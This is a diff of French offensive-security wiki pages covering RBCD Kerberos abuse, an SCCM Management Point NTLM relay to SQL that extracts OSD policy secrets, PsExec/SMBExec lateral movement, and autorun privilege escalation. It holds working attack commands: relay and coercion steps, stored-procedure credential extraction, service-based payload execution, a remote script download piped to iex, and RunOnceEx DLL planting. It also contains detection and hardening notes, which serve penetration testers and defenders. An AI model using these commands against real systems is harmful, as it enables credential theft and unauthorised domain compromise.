- **`KDC_ERR_ETYPE_NOTSUPP`** : Cela signifie que kerberos est configuré pour ne pas utiliser DES ou RC4 et que vous ne fournissez que le hachage RC4. Fournissez à Rubeus au moins le hachage AES256 (ou fournissez-lui simplement les hachages rc4, aes128 et aes256). Exemple : `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KRB_AP_ERR_SKEW`** : Cela signifie que l'heure de l'ordinateur actuel est différente de celle du DC et que kerberos ne fonctionne pas correctement.
- **`preauth_failed`** : Cela signifie que le nom d'utilisateur + les hachages fournis ne fonctionnent pas pour se connecter. Vous avez peut-être oublié de mettre le "$" dans le nom d'utilisateur lors de la génération des hachages (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
- **`KDC_ERR_BADOPTION`** : Cela peut signifier :
- L'utilisateur que vous essayez d'imiter ne peut pas accéder au service souhaité (parce que vous ne pouvez pas l'imiter ou parce qu'il n'a pas suffisamment de privilèges)
- Le service demandé n'existe pas (si vous demandez un ticket pour winrm mais que winrm n'est pas en cours d'exécution)
- L'ordinateur fictif créé a perdu ses privilèges sur le serveur vulnérable et vous devez les lui redonner.
- Vous abusez du KCD classique ; rappelez-vous que RBCD fonctionne avec des tickets S4U2Self non transférables, tandis que KCD nécessite des tickets transférables.
## Notes, relais et alternatives
- Vous pouvez également écrire le SD RBCD sur les services Web AD (ADWS) si LDAP est filtré. Voir :
{{#ref}}
adws-enumeration.md
{{#endref}}
- Les chaînes de relais Kerberos se terminent souvent par RBCD pour atteindre le SYSTEM local en une seule étape. Voir des exemples pratiques de bout en bout :
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
## Références
@ -116,6 +195,7 @@ Apprenez à propos des [**tickets de service disponibles ici**](silver-ticket.md
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
- Impacket rbcd.py (officiel) : https://github.com/fortra/impacket/blob/master/examples/rbcd.py
- Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/
{{#include ../../banners/hacktricks-training.md}}

155
src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md Normal file
View File

@ -0,0 +1,155 @@
# SCCM Management Point NTLM Relay to SQL – Extraction des secrets de politique OSD
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
En forçant un **System Center Configuration Manager (SCCM) Management Point (MP)** à s'authentifier via SMB/RPC et en **relayant** ce compte machine NTLM vers la **base de données du site (MSSQL)**, vous obtenez des droits `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Ces rôles vous permettent d'appeler un ensemble de procédures stockées qui exposent des blobs de politique **Operating System Deployment (OSD)** (identifiants de compte d'accès réseau, variables de séquence de tâches, etc.). Les blobs sont encodés/encryptés en hexadécimal mais peuvent être décodés et déchiffrés avec **PXEthief**, révélant des secrets en texte clair.
Chaîne de haut niveau :
1. Découvrir MP & base de données du site ↦ point de terminaison HTTP non authentifié `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
2. Démarrer `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
3. Forcer MP en utilisant **PetitPotam**, PrinterBug, DFSCoerce, etc.
4. À travers le proxy SOCKS, se connecter avec `mssqlclient.py -windows-auth` en tant que compte relayé **<DOMAIN>\\<MP-host>$**.
5. Exécuter :
* `use CM_<SiteCode>`
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
* `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'` (ou `MP_GetPolicyBodyAfterAuthorization`)
6. Supprimer `0xFFFE` BOM, `xxd -r -p` → XML → `python3 pxethief.py 7 <hex>`.
Des secrets tels que `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, etc. sont récupérés sans toucher à PXE ou aux clients.
---
## 1. Énumération des points de terminaison MP non authentifiés
L'extension ISAPI MP **GetAuth.dll** expose plusieurs paramètres qui ne nécessitent pas d'authentification (à moins que le site soit uniquement PKI) :
| Paramètre | But |
|-----------|-----|
| `MPKEYINFORMATIONMEDIA` | Renvoie la clé publique du certificat de signature du site + GUIDs des appareils **All Unknown Computers** *x86* / *x64*. |
| `MPLIST` | Liste chaque Management-Point dans le site. |
| `SITESIGNCERT` | Renvoie le certificat de signature du site principal (identifier le serveur de site sans LDAP). |
Récupérez les GUIDs qui serviront d'**clientID** pour les requêtes DB ultérieures :
```bash
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
```
---
## 2. Relayer le compte machine MP vers MSSQL
```bash
# 1. Start the relay listener (SMB→TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
```
Lorsque la coercition se déclenche, vous devriez voir quelque chose comme :
```
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
```
---
## 3. Identifier les politiques OSD via des procédures stockées
Connectez-vous via le proxy SOCKS (port 1080 par défaut) :
```bash
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
```
Passez à la base de données **CM_<SiteCode>** (utilisez le code de site à 3 chiffres, par exemple `CM_001`).
### 3.1 Trouver les GUIDs d'ordinateur inconnus (optionnel)
```sql
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
```
### 3.2 Lister les politiques assignées
```sql
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
```
Chaque ligne contient `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion`.
Concentrez-vous sur les politiques :
* **NAAConfig** – Identifiants du compte d'accès réseau
* **TS_Sequence** – Variables de séquence de tâche (OSDJoinAccount/Password)
* **CollectionSettings** – Peut contenir des comptes d'exécution
### 3.3 Récupérer le corps complet
Si vous avez déjà `PolicyID` & `PolicyVersion`, vous pouvez ignorer l'exigence clientID en utilisant :
```sql
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
```
> IMPORTANT : Dans SSMS, augmentez "Maximum Characters Retrieved" (>65535) sinon le blob sera tronqué.
---
## 4. Décoder et déchiffrer le blob
```bash
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
```
Exemple de secrets récupérés :
```
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
```
---
## 5. Rôles et procédures SQL pertinents
Lors du relais, la connexion est mappée à :
* `smsdbrole_MP`
* `smsdbrole_MPUserSvc`
Ces rôles exposent des dizaines de permissions EXEC, les principales utilisées dans cette attaque sont :
| Procédure stockée | Objectif |
|------------------|---------|
| `MP_GetMachinePolicyAssignments` | Lister les politiques appliquées à un `clientID`. |
| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Retourner le corps complet de la politique. |
| `MP_GetListOfMPsInSiteOSD` | Retourne par le chemin `MPKEYINFORMATIONMEDIA`. |
Vous pouvez inspecter la liste complète avec :
```sql
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
```
---
## 6. Détection & Renforcement
1. **Surveiller les connexions MP** – tout compte d'ordinateur MP se connectant depuis une IP qui n'est pas son hôte ≈ relais.
2. Activer **Extended Protection for Authentication (EPA)** sur la base de données du site (`PREVENT-14`).
3. Désactiver NTLM inutilisé, appliquer la signature SMB, restreindre RPC (
mêmes atténuations utilisées contre `PetitPotam`/`PrinterBug`).
4. Renforcer la communication MP ↔ DB avec IPSec / mutual-TLS.
---
## Voir aussi
* Fondamentaux du relais NTLM :
{{#ref}}
../ntlm/README.md
{{#endref}}
* Abus MSSQL & post-exploitation :
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
## Références
- [I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
- [Misconfiguration Manager – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
{{#include ../../banners/hacktricks-training.md}}

162
src/windows-hardening/lateral-movement/psexec-and-winexec.md
View File

@ -2,48 +2,152 @@
{{#include ../../banners/hacktricks-training.md}}
## Comment ils fonctionnent
## Comment ça fonctionne
Le processus est décrit dans les étapes ci-dessous, illustrant comment les binaires de service sont manipulés pour réaliser une exécution à distance sur une machine cible via SMB :
Ces techniques abusent du Gestionnaire de Contrôle de Service Windows (SCM) à distance via SMB/RPC pour exécuter des commandes sur un hôte cible. Le flux commun est :
1. **La copie d'un binaire de service sur le partage ADMIN$ via SMB** est effectuée.
2. **La création d'un service sur la machine distante** est réalisée en pointant vers le binaire.
3. Le service est **démarré à distance**.
4. À la sortie, le service est **arrêté, et le binaire est supprimé**.
1. S'authentifier auprès de la cible et accéder au partage ADMIN$ via SMB (TCP/445).
2. Copier un exécutable ou spécifier une ligne de commande LOLBAS que le service exécutera.
3. Créer un service à distance via SCM (MS-SCMR sur \PIPE\svcctl) pointant vers cette commande ou binaire.
4. Démarrer le service pour exécuter le payload et éventuellement capturer stdin/stdout via un pipe nommé.
5. Arrêter le service et nettoyer (supprimer le service et tout binaire déposé).
### **Processus d'exécution manuelle de PsExec**
Exigences/prérequis :
- Administrateur local sur la cible (SeCreateServicePrivilege) ou droits explicites de création de service sur la cible.
- SMB (445) accessible et partage ADMIN$ disponible ; Gestion de Service à Distance autorisée à travers le pare-feu de l'hôte.
- Restrictions UAC à distance : avec des comptes locaux, le filtrage de jetons peut bloquer l'administrateur sur le réseau à moins d'utiliser l'Administrateur intégré ou LocalAccountTokenFilterPolicy=1.
- Kerberos vs NTLM : utiliser un nom d'hôte/FQDN active Kerberos ; se connecter par IP revient souvent à NTLM (et peut être bloqué dans des environnements renforcés).
En supposant qu'il y ait un payload exécutable (créé avec msfvenom et obfusqué à l'aide de Veil pour échapper à la détection antivirus), nommé 'met8888.exe', représentant un payload meterpreter reverse_http, les étapes suivantes sont suivies :
### ScExec/WinExec manuel via sc.exe
- **Copie du binaire** : L'exécutable est copié sur le partage ADMIN$ depuis une invite de commande, bien qu'il puisse être placé n'importe où sur le système de fichiers pour rester dissimulé.
- Au lieu de copier le binaire, il est également possible d'utiliser un binaire LOLBAS comme `powershell.exe` ou `cmd.exe` pour exécuter des commandes directement à partir des arguments. Par exemple, `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
- **Création d'un service** : En utilisant la commande Windows `sc`, qui permet de requêter, créer et supprimer des services Windows à distance, un service nommé "meterpreter" est créé pour pointer vers le binaire téléchargé.
- **Démarrage du service** : La dernière étape consiste à démarrer le service, ce qui entraînera probablement une erreur de "délai d'attente" en raison du fait que le binaire n'est pas un véritable binaire de service et échoue à renvoyer le code de réponse attendu. Cette erreur est sans conséquence car l'objectif principal est l'exécution du binaire.
Ce qui suit montre une approche minimale de création de service. L'image du service peut être un EXE déposé ou un LOLBAS comme cmd.exe ou powershell.exe.
```cmd
:: Execute a one-liner without dropping a binary
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
L'observation de l'auditeur Metasploit révélera que la session a été initiée avec succès.
[En savoir plus sur la commande `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
Trouvez des étapes plus détaillées dans : [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
- Vous pouvez également utiliser le **binaire PsExec.exe de Windows Sysinternals** :
![](<../../images/image (928).png>)
Ou y accéder via webddav :
```bash
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
:: Drop a payload to ADMIN$ and execute it (example path)
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
```
- Vous pouvez également utiliser [**SharpLateral**](https://github.com/mertdas/SharpLateral) :
Notes :
- Attendez-vous à une erreur de délai d'attente lors du démarrage d'un EXE non-service ; l'exécution se produit néanmoins.
- Pour rester plus amical avec l'OPSEC, préférez les commandes sans fichier (cmd /c, powershell -enc) ou supprimez les artefacts déposés.
Trouvez des étapes plus détaillées dans : https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
## Outils et exemples
### Sysinternals PsExec.exe
- Outil d'administration classique qui utilise SMB pour déposer PSEXESVC.exe dans ADMIN$, installe un service temporaire (nom par défaut PSEXESVC) et proxy I/O via des pipes nommés.
- Exemples d'utilisation :
```cmd
:: Interactive SYSTEM shell on remote host
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
:: Run a command as a specific domain user
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
:: Customize the service name for OPSEC (-r)
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
```
- Vous pouvez lancer directement depuis Sysinternals Live via WebDAV :
```cmd
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
```
OPSEC
- Laisse des événements d'installation/désinstallation de service (le nom du service est souvent PSEXESVC sauf si -r est utilisé) et crée C:\Windows\PSEXESVC.exe pendant l'exécution.
### Impacket psexec.py (similaire à PsExec)
- Utilise un service intégré similaire à RemCom. Dépose un binaire de service transitoire (nom souvent aléatoire) via ADMIN$, crée un service (par défaut souvent RemComSvc), et proxy I/O via un pipe nommé.
```bash
# Password auth
psexec.py DOMAIN/user:Password@HOST cmd.exe
# Pass-the-Hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
# Kerberos (use tickets in KRB5CCNAME)
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
# Change service name and output encoding
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
```
Artifacts
- EXE temporaire dans C:\Windows\ (8 caractères aléatoires). Le nom du service par défaut est RemComSvc, sauf s'il est remplacé.
### Impacket smbexec.py (SMBExec)
- Crée un service temporaire qui lance cmd.exe et utilise un pipe nommé pour l'entrée/sortie. Évite généralement de déposer un payload EXE complet ; l'exécution de commandes est semi-interactive.
```bash
smbexec.py DOMAIN/user:Password@HOST
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
```
### SharpLateral et SharpMove
- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) implémente plusieurs méthodes de mouvement latéral, y compris l'exécution basée sur des services.
```cmd
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
- Vous pouvez également utiliser [**SharpMove**](https://github.com/0xthirteen/SharpMove) :
```bash
- [SharpMove](https://github.com/0xthirteen/SharpMove) inclut la modification/création de services pour exécuter une commande à distance.
```cmd
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
```
- Vous pouvez également utiliser **Impacket's `psexec` et `smbexec.py`**.
- Vous pouvez également utiliser CrackMapExec pour exécuter via différents backends (psexec/smbexec/wmiexec) :
```bash
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
```
## OPSEC, détection et artefacts
Artefacts typiques d'hôte/réseau lors de l'utilisation de techniques similaires à PsExec :
- Sécurité 4624 (Type de connexion 3) et 4672 (Privilèges spéciaux) sur la cible pour le compte administrateur utilisé.
- Événements de partage de fichiers de sécurité 5140/5145 et événements détaillés de partage de fichiers montrant l'accès ADMIN$ et la création/écriture de binaires de service (par exemple, PSEXESVC.exe ou un .exe aléatoire de 8 caractères).
- Installation de service de sécurité 7045 sur la cible : noms de service comme PSEXESVC, RemComSvc, ou personnalisé (-r / -service-name).
- Sysmon 1 (Création de processus) pour services.exe ou l'image de service, 3 (Connexion réseau), 11 (Création de fichier) dans C:\Windows\, 17/18 (Tube créé/connecté) pour des tubes tels que \\.\pipe\psexesvc, \\.\pipe\remcom_*, ou équivalents randomisés.
- Artefact de registre pour EULA de Sysinternals : HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 sur l'hôte opérateur (si non supprimé).
Idées de chasse
- Alerte sur les installations de service où l'ImagePath inclut cmd.exe /c, powershell.exe, ou des emplacements TEMP.
- Rechercher des créations de processus où ParentImage est C:\Windows\PSEXESVC.exe ou des enfants de services.exe s'exécutant en tant que SYSTEM LOCAL exécutant des shells.
- Marquer les tubes nommés se terminant par -stdin/-stdout/-stderr ou des noms de tubes bien connus de clone PsExec.
## Dépannage des échecs courants
- Accès refusé (5) lors de la création de services : pas vraiment administrateur local, restrictions UAC à distance pour les comptes locaux, ou protection contre la falsification EDR sur le chemin binaire du service.
- Le chemin réseau n'a pas été trouvé (53) ou impossible de se connecter à ADMIN$ : pare-feu bloquant SMB/RPC ou partages administratifs désactivés.
- Kerberos échoue mais NTLM est bloqué : se connecter en utilisant le nom d'hôte/FQDN (pas IP), s'assurer des SPNs appropriés, ou fournir -k/-no-pass avec des tickets lors de l'utilisation d'Impacket.
- Le démarrage du service expire mais le payload a été exécuté : attendu si ce n'est pas un véritable binaire de service ; capturer la sortie dans un fichier ou utiliser smbexec pour I/O en direct.
## Notes de durcissement
- Windows 11 24H2 et Windows Server 2025 nécessitent la signature SMB par défaut pour les connexions sortantes (et Windows 11 entrantes). Cela ne casse pas l'utilisation légitime de PsExec avec des identifiants valides mais empêche l'abus de relais SMB non signé et peut impacter les appareils qui ne supportent pas la signature.
- Le nouveau blocage NTLM du client SMB (Windows 11 24H2/Server 2025) peut empêcher le retour à NTLM lors de la connexion par IP ou à des serveurs non-Kerberos. Dans des environnements durcis, cela cassera PsExec/SMBExec basé sur NTLM ; utilisez Kerberos (nom d'hôte/FQDN) ou configurez des exceptions si nécessaire légitimement.
- Principe du moindre privilège : minimiser l'appartenance à l'administrateur local, préférer Just-in-Time/Just-Enough Admin, appliquer LAPS, et surveiller/alerter sur les installations de service 7045.
## Voir aussi
- Exécution à distance basée sur WMI (souvent plus sans fichier) :
{{#ref}}
./wmiexec.md
{{#endref}}
- Exécution à distance basée sur WinRM :
{{#ref}}
./winrm.md
{{#endref}}
## Références
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
- Durcissement de la sécurité SMB dans Windows Server 2025 & Windows 11 (signature par défaut, blocage NTLM) : https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
{{#include ../../banners/hacktricks-training.md}}

50
src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
View File

@ -1,4 +1,4 @@
# Escalade de privilèges avec Autoruns
# Élévation de privilèges avec Autoruns
{{#include ../../banners/hacktricks-training.md}}
@ -26,7 +26,7 @@ schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgro
```
## Dossiers
Tous les binaires situés dans les **dossiers de démarrage vont être exécutés au démarrage**. Les dossiers de démarrage courants sont ceux énumérés ci-dessous, mais le dossier de démarrage est indiqué dans le registre. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path)
Tous les binaires situés dans les **dossiers de démarrage seront exécutés au démarrage**. Les dossiers de démarrage courants sont ceux énumérés ci-dessous, mais le dossier de démarrage est indiqué dans le registre. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path)
```bash
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
@ -35,14 +35,22 @@ dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
```
> **FYI** : Les vulnérabilités de *traversée de chemin* lors de l'extraction d'archives (comme celle exploitée dans WinRAR avant la version 7.13 – CVE-2025-8088) peuvent être utilisées pour **déposer des charges utiles directement dans ces dossiers de démarrage lors de la décompression**, entraînant une exécution de code lors de la prochaine connexion utilisateur. Pour une analyse approfondie de cette technique, voir :
{{#ref}}
../../generic-hacking/archive-extraction-path-traversal.md
{{#endref}}
## Registre
> [!NOTE]
> [Note from here](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f) : L'entrée de registre **Wow6432Node** indique que vous exécutez une version 64 bits de Windows. Le système d'exploitation utilise cette clé pour afficher une vue séparée de HKEY_LOCAL_MACHINE\SOFTWARE pour les applications 32 bits qui s'exécutent sur des versions Windows 64 bits.
> [!TIP]
> [Note à partir d'ici](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f) : L'entrée de registre **Wow6432Node** indique que vous exécutez une version 64 bits de Windows. Le système d'exploitation utilise cette clé pour afficher une vue séparée de HKEY_LOCAL_MACHINE\SOFTWARE pour les applications 32 bits qui s'exécutent sur des versions 64 bits de Windows.
### Exécutions
**Connu sous le nom de** registre AutoRun :
Registre AutoRun **communément connu** :
- `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`
@ -58,7 +66,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
Les clés de registre connues sous le nom de **Run** et **RunOnce** sont conçues pour exécuter automatiquement des programmes chaque fois qu'un utilisateur se connecte au système. La ligne de commande assignée en tant que valeur de données d'une clé est limitée à 260 caractères ou moins.
**Exécutions de service** (peut contrôler le démarrage automatique des services lors du démarrage) :
**Exécutions de service** (peuvent contrôler le démarrage automatique des services lors du démarrage) :
- `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
- `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
@ -78,10 +86,10 @@ Sur Windows Vista et les versions ultérieures, les clés de registre **Run** et
```
reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"
```
> [!NOTE]
> [!TIP]
> **Exploitation 1** : Si vous pouvez écrire dans l'un des registres mentionnés dans **HKLM**, vous pouvez élever les privilèges lorsqu'un autre utilisateur se connecte.
> [!NOTE]
> [!TIP]
> **Exploitation 2** : Si vous pouvez écraser l'un des binaires indiqués dans l'un des registres dans **HKLM**, vous pouvez modifier ce binaire avec une porte dérobée lorsqu'un autre utilisateur se connecte et élever les privilèges.
```bash
#CMD
@ -145,9 +153,9 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders`
- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders`
Les raccourcis placés dans le dossier **Démarrage** déclencheront automatiquement le lancement de services ou d'applications lors de la connexion de l'utilisateur ou du redémarrage du système. L'emplacement du dossier **Démarrage** est défini dans le registre pour les portées **Local Machine** et **Current User**. Cela signifie que tout raccourci ajouté à ces emplacements **Démarrage** spécifiés garantira que le service ou le programme lié démarre après le processus de connexion ou de redémarrage, ce qui en fait une méthode simple pour programmer des programmes à s'exécuter automatiquement.
Les raccourcis placés dans le dossier **Démarrage** déclencheront automatiquement le lancement de services ou d'applications lors de la connexion de l'utilisateur ou du redémarrage du système. L'emplacement du dossier **Démarrage** est défini dans le registre pour les portées **Machine locale** et **Utilisateur actuel**. Cela signifie que tout raccourci ajouté à ces emplacements **Démarrage** spécifiés garantira que le service ou le programme lié démarre après le processus de connexion ou de redémarrage, ce qui en fait une méthode simple pour programmer des programmes à s'exécuter automatiquement.
> [!NOTE]
> [!TIP]
> Si vous pouvez écraser n'importe quel \[User] Shell Folder sous **HKLM**, vous pourrez le pointer vers un dossier contrôlé par vous et placer une porte dérobée qui sera exécutée chaque fois qu'un utilisateur se connecte au système, escaladant ainsi les privilèges.
```bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
@ -160,7 +168,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
```
### Clés Winlogon
### Winlogon Keys
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
@ -171,7 +179,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"
```
> [!NOTE]
> [!TIP]
> Si vous pouvez écraser la valeur du registre ou le binaire, vous pourrez élever les privilèges.
### Paramètres de politique
@ -201,8 +209,8 @@ Dans le Registre Windows sous `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`,
5. Réappliquez les attributs de fichier d'origine : `attrib c:\boot.ini +r +s +h`
- **Exploit 1 :** Changer la clé de registre **AlternateShell** permet de configurer un shell de commande personnalisé, potentiellement pour un accès non autorisé.
- **Exploit 2 (Permissions d'écriture PATH) :** Avoir des permissions d'écriture sur n'importe quelle partie de la variable **PATH** du système, en particulier avant `C:\Windows\system32`, vous permet d'exécuter un `cmd.exe` personnalisé, qui pourrait être une porte dérobée si le système est démarré en mode sans échec.
- **Exploit 3 (Permissions d'écriture PATH et boot.ini) :** L'accès en écriture à `boot.ini` permet un démarrage automatique en mode sans échec, facilitant l'accès non autorisé au prochain redémarrage.
- **Exploit 2 (Permissions d'écriture sur PATH) :** Avoir des permissions d'écriture sur n'importe quelle partie de la variable système **PATH**, en particulier avant `C:\Windows\system32`, vous permet d'exécuter un `cmd.exe` personnalisé, qui pourrait être une porte dérobée si le système est démarré en mode sans échec.
- **Exploit 3 (Permissions d'écriture sur PATH et boot.ini) :** L'accès en écriture à `boot.ini` permet un démarrage automatique en mode sans échec, facilitant l'accès non autorisé au prochain redémarrage.
Pour vérifier le paramètre **AlternateShell** actuel, utilisez ces commandes :
```bash
@ -220,7 +228,7 @@ Active Setup est géré à travers les clés de registre suivantes :
- `HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components`
- `HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`
Dans ces clés, divers sous-clés existent, chacune correspondant à un composant spécifique. Les valeurs clés d'un intérêt particulier incluent :
Au sein de ces clés, divers sous-clés existent, chacune correspondant à un composant spécifique. Les valeurs clés d'un intérêt particulier incluent :
- **IsInstalled :**
- `0` indique que la commande du composant ne s'exécutera pas.
@ -229,10 +237,10 @@ Dans ces clés, divers sous-clés existent, chacune correspondant à un composan
**Aperçus de sécurité :**
- Modifier ou écrire dans une clé où **`IsInstalled`** est défini sur `"1"` avec un **`StubPath`** spécifique peut entraîner l'exécution non autorisée de commandes, potentiellement pour une élévation de privilèges.
- Altérer le fichier binaire référencé dans toute valeur **`StubPath`** pourrait également permettre une élévation de privilèges, si les permissions sont suffisantes.
- Modifier ou écrire dans une clé où **`IsInstalled`** est défini sur `"1"` avec un **`StubPath`** spécifique peut conduire à l'exécution non autorisée de commandes, potentiellement pour une élévation de privilèges.
